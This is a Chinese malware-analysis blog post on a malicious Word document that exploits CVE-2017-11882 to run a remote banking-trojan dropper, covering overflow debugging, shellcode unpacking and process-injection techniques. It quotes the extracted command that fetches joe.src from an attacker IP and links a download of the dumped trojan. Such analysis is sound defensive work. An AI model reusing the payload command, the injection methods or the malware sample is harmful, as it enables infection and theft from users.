记一次小型 APT 恶意攻击

本文作者:x-encounter (信安之路作者团队成员)

在经历过期末学习怠倦期后,我战战兢兢地打开了(自己搭的蜜罐抓不到样本(╥ω╥`) )

http://www.malware-traffic-analysis.net/2018/01/15/index.html

下载样本文件,该样本使用了 CVE-2017-11882 office 漏洞,向黑客服务器发起链接,下载并执行恶意文件。

我们分步骤对该恶意攻击进行剖析。

了解 CVE-2017-11882

先放张图压压惊

黑客通过邮件的方式,诱导用户下载并打开附件 Items 5444.doc,从而实现恶意代码的植入,邮件截图如下

在分析 doc 之前,先对 CVE-2017-11882 做一下基本的介绍:

漏洞出现在模块 EQNEDT32.EXE 中,该模块为公式编辑器,在 Office 的安装过程中被默认安装。

该模块以 OLE 技术将公式嵌入在 Office 文档内。这个 EQNEDT32.EXE 位于

C:\Program Files\Common Files\Microsoft Shared\EQUATION

比较奇葩的是执行 EQNEDT32.EXE 时并不是作为 office 的子进程创建的,而是作为一个独立的进程执行,这意味着该进程不受 office 的保护机制,而且最重要的是由于年代久远这个 exe 还不支持 alsr 这些系统级的保护措施,将该 exe 拖入 IDA 中进行分析,漏洞发生在 sub_41160F 中。

F5 反编译一下,看的更加清晰。

a1 是公式的内容,V12 是栈区的地址,直接调用 strcpy 没有对复制的长度进行限制,典型的栈溢出,从 strcpy 就能够看出代码年代之久远,现在 vs 强制让你使用 strcpy_s

现在对 doc 进行静态分析,首先要对 OLE 对象进行提取和分析,这里我用的是 oletools 中的 rtfobj 工具,github下载地址

https://github.com/decalage2/oletools

附带 bat 脚本,在 windows 下傻瓜式一键安装,之后会在 python 的 script 下生成 rtfobj.exe,如果你给 pip 设置环境变量的话,那么你在 cmd 直接可以使用 rtfobj 命令,执行的命令如下:

rtfobj.exe "Items 5444.doc"

运行结果

龟龟,直接把 CVE-2017-11882 识别了出来。从上图可以了解到该 OLE 对象的类型为“Equation.3”,即公式编辑器 3.0 类型对象,大小 3584,直接执行如下命令,将 ole 对象 dump 出来

rtfobj.exe "Items 5444.doc" -s all

会生成一个 bin 文件,将其载入 010 编辑器,在末尾处发现了公式的内容

cmd /c \185.198.59.121\s\joe.src & UUUUUUUU

从 185.198.59.121上 下载 joe.src,接下来进行动态调试,执行动态调试的时候会遇到一个问题,由于 EQNEDT32.EXE 是一个独立的进程,我们附加 word 是没有意义的,而且我们还不知道 word 什么时候调用 EQNEDT32.EXE,貌似陷入了僵局。

解决方案:

我们可以使用“映像劫持”的办法在

KEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE

将 Debugger 设置成我们的调试器,这样我们不用关心 word 什么时候调用 EQNEDT32.EXE,只要该程序启动,就会载入到设置好的调试器中,进行调试,这也是这个注册表键值最原始的用法,直到后来病毒使用该键值进行恶意启动才被说成映像劫持

然后,直接打开 word 文档,经过短暂的停顿,OD 会自动跳出来,开始调试 EQNEDT32.EXE,直接在溢出点下断,bp 00411658

重点关注 esi 所指向的数据区域,经过若干个 F9 之后

我们看到 esi 指向的数据段中出现了构造好的公式的内容,edi 指向 0012F2A8,执行完 strcpy 后该返回地址会被覆盖

0012F2A8 处的值被覆盖为了 00630C12,其实,这个值覆盖成什么都行,下面的一个 call 会将该值修改为 00430C12,有兴趣的可以步入进去分析一下为什么。运行到返回地址处

可以看到 00430C12WinExec 的函数地址,用来执行构造的公式内容,下载 joe.src 并执行

接下来分析恶意样本

恶意样本分析

这个病毒非常恶心,经过了复杂的代码混淆,混淆器由 VB 编写,最终会释放出来一个银行木马,提交到 virustotal 上面,发现我是第一个提交的,而且该木马目前过 360,金山,腾讯!!!

这个 joe.src 样本肯定很多人都拿到了,但是基本上都没有把里面的银行木马拖出来,大部分人都是扔到沙箱里面进行运行,然而目前主流的沙箱并不能检测到这个银行木马的最终释放,剩下的内容,我主要分享脱这个银行木马的思路

下面是沙箱的分析报告,很明显该沙箱并没有检测到银行木马,只检测出来了VB混淆器的执行流程

https://www.hybrid-analysis.com/sample/3f83a4ff3803dffbed605a82e30f79e39620ded61bd4a09b8e1abd08ec4c2ecb

这是我把该银行木马提交到 virustotal 上的报告,提交时间 2018/6/28

限于篇幅该银行木马的功能就不再敖述,样本奉献给大家,重点关注这个病毒是怎么释放的,将 joe.src 改为 joe.exe 查壳

VB6.0 编写,既然是 VB 正常思路肯定是扔到 VB Decomplier 里面看一下

果然是混淆大佬,什么都看不出来,IDA 也差不多,没办法先扔到火绒剑里面看看吧

这两个都是进程注入,非常有趣,一步一步来,把 joe.exe 扔到 OD 里,到达所谓的主函数

如图,两个函数需要特别关注,先进入第一个创建临时文件的函数,在 73393E5D 处获取用户语言环境比较是不是 409(实际返回 804),不是则跳转

通过 GetLocaleInfo 查询 804 是哪个语言,返回 CHS(简体中文)与字符串进行拼接,得到 DLL 完整路径,并通过 Loadlibrary 函数载入该 DLL

73451C92 处会调用 OleLoadPictureEx 创建临时文件,这里省略了很多步骤,你需要一层一层的步入才能找到这个函数,大概有十几层吧,之后会从资源节区载入字符串

之后进行一些无关紧要的操作,退出该函数,进入 7339363F 处的函数,这个函数仿照上面的步骤一层一层的跟,跟到 7339A622 处,这时查看窗口,有八个回调函数……

到这里我的思路还是接着往下走,对所有的回调函数下断点,接着单步,然而现实很残酷,这种方法并没有达到我们想要的结果……

整理一下思路,根据火绒剑的结果,可以了解如下的信息:该混淆器在最后会创建一个挂起进程,接着会向该进程进行两种形式的注入,接着会使该挂起的进程执行。我们的目的是获得注入的内容

我用的方法是 bpx CreateProcess。混淆器说白了也就是一个壳,早晚会回到用户态执行代码的,所以我的目的是使代码执行流程回到用户区域(之前窗口回调函数所在的内存区域一直是在高址上),事实证明方法是正确的。一直 F9 下去,直到 00441BC5 处的函数

该函数会找到 EnumPageFiles 的地址,并在之后 jmp 过去

call EnumPageFiles,调用回调例程,回调例程的地址是第一个参数,下断

在该例程中会解密一段 shellcode,并分配给其一段空间,最后 jmp 到 shellcode 中,如图中的数据段

shellcode 分析

dump 下来 shellcode,载入 IDA 中

采用两种反调试技术,StrongOD 轻松绕过,之后会开始获得相应的函数地址,这个混淆器获取函数地址的方法与以往的病毒不同,每次获取一个函数的地址都要到执行 DllFunctionCall 函数,此时 ecx 为动态链接库的名称, edx 为函数名,单步跟会显得非常繁琐

边获取边执行,经过一系列的操作之后,会获取 CreateProcessW 的地址,创建一个挂起的进程

接着获取 ZwWriteVirtualMemoryNtunMapofViewSection,将新进程的镜像空间清零,分 4 次写入解密后的银行木马,这里可以把银行木马 dump 下来,之后调用 NtSetContextThread 等一些原生 API 使新进程运行。原生函数版的进程替换

这里还剩另一种注入技术没有提到

这种注入称为 PowerLoaderEx,依靠注入资源管理器托盘窗口的额外窗口内存来实现代码注入的,在注册窗口类时,应用程序可以指定一些额外的内存字节,称为额外的窗口存储器(EWM)。 然而,EWM 并不算是块很充裕的空间。 为了规避这个限制,恶意软件将代码写入 explorer.exe 的共享部分,并使用 SetWindowLongSendNotifyMessage 来指定一个指向 shellcode 的函数指针,然后执行它。

这也是为什么会寻找 Shell_TrayWnd(系统托盘)的原因,详细原理请参照

https://github.com/BreakingMalware/PowerLoaderEx

github 上的 POC 是通过 ROP 技术实现的弹框(如果你想调试 ROP 链的话,记得附加 explorer.exe 进程=-=)

该混淆器也采用了上述的技术,但是在我的电脑上貌似失败了

分析完毕!!!

最后 dump 出来的银行木马地址如下(只提供银行木马和 shellcode )

https://pan.baidu.com/s/1oV9mcVojEw-qOwARZW7uDg

小结

1、分析之前没有想到这个恶意样本这么复杂

2、这个银行木马藏的太深了,以至于从1月份的样本中提出来的银行木马竟然还能过那么多杀毒软件

3、这个银行木马我没有分析,有兴趣的可以自己玩玩,顺便给信安投个稿

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2018-06-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏FreeBuf

WireShark+Winhex:流量分析的好搭档

这篇文章你将学会的知识点有 1、进阶的wireshark的流量分析、解码、追踪流、导出文件 2、利用hackbar进行base64、URL编码转换 3、利用wi...

1K60
来自专栏xingoo, 一个梦想做发明家的程序员

sql基础知识:日期的常用用法

日期操作 select sysdate,add_months(sysdate,12) from dual; -- + 1 year select sysdate...

20570
来自专栏生信宝典

别人的电子书,你的电子书,都在bookdown

bookdown是著名R包作者谢益辉开发的,支持采用Rmarkdown (R代码可以运行)或普通markdown编写文档,然后编译成HTML, WORD, PD...

542110
来自专栏owent

对atbus的小数据包的优化

atbus是我按之前的思路写得服务器消息通信中间件,目标是简化服务器通信的流程,能够自动选择最优路线,自动的断线重连和通信通道维护。能够跨平台并且高效。

11720
来自专栏从零开始学自动化测试

python接口自动化21-规范的API接口文档示例

前言 接口文档到底长啥样?做接口测试最大的障碍在于没有接口文档,很多公司不注重接口文档的编写,导致测试小伙伴没见过接口文档。 运气好一点的测试小伙伴可能厚着脸皮...

1.5K80
来自专栏FreeBuf

Kali Linux下社工密码字典生成工具Cupp和Cewl教程

Cupp是一款用Python语言写成的可交互性的字典生成脚本。尤其适合社会工程学,当你收集到目标的具体信息后,你就可以通过这个工具来智能化生成关于目标的字典。当...

52260
来自专栏FreeBuf

企业壳的反调试及Hook检测分析

*本文原创作者:y0nLandroid,本文属FreeBuf原创奖励计划,未经许可禁止转载 1.写在开始 最近在学习梆梆壳,在调试的过程中遇到了反调试,很是苦恼...

38680
来自专栏高性能服务器开发

经典面试题(二)之一致性哈希算法

当服务器的数据量和访问量很大的时候,我们可能需要寻找一种解决方案去解决诸如分布式、缓存优化的问题,这也是面试高级或资深服务器开发经常会遇到的问题。 我们先以一个...

72290
来自专栏后端技术探索

纯干货!-- Memcache详解

网址:http://www.cnblogs.com/xrq730/p/4948707.html

23910
来自专栏祝威廉

如何使用MLSQL中的帮助指令学习模块的使用

MLSQL 已经实现了文章中描述的功能 如何实现语法的自解释(MLSQL易用性设计有感) 。

11340

扫码关注云+社区

领取腾讯云代金券